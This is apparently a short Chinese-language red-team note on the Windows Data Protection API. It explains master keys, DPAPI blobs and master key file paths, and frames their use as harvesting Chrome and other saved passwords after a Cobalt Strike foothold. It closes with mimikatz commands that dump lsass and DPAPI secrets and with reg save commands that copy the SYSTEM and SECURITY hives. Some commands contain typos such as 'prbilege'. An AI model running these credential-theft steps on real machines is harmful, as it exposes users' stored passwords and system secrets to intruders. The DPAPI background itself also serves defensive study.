Data Protection API 数据保护接口 在windows中大量的使用来加密数据,比如chrome的cookies和login data
chrome浏览器自动登录密码,远程桌面自动登录密码,outlook邮箱的账号密码,加密文件系统的私钥
从windows 2000开始,用户或操作系统可以直接调用dpapi来加密数据
对于最终用户及其应用程序而言,dpapi看起来非常简单,只有两个功能-
加密数据
CryptProtectData
解密数据
CryptUnprotectData
最明显的利用,是我们上线CS后执行抓取chrome内核浏览器的密码时候
- dpapi使用master key(主密钥)用于加密解密,主密钥并不会存在磁盘上,是通过用户的密码hash加密生成的
- 主密钥第一种方式是由用户的N T L M hash来加密的,存储在S A M文件中,只要攻击者获取到Hash就可以用来生成Master key来解密数据,防止这种事情发生,直接用用户的密码生成:SHA-1(UTF16LE(user_password)),这样就算攻击者获取到ntlm,如果解不出用户密码,依然不能生成master key
dpapi blob :一段密文可以使用主密钥对其进行解密
master key :64字节,用于解密Dpai blob
通过用户登录密码,sid,16字节随机数加密后保存在master key file中
master key file:
二进制文件,可以使用用户登录密码对其解密,获得master key
用户Master key file:%APPDATA%\Microsoft\Protect\%SID% 系统Master key file:%WINDIR%\System32\Microsft\Protect\S-1-5-18\User
Preferred文件
位于和Master Key file同级目录,显示当前系统正在使用的Masterkey及其过期时间,默认90天有效期
prbilege::debug
sekurlsa::dpapi
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SECURITY SECURITY.hiv
mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"
mimikatz "dpapi::masterkey /in:文件位置 /system:dpapi_system中的user hash"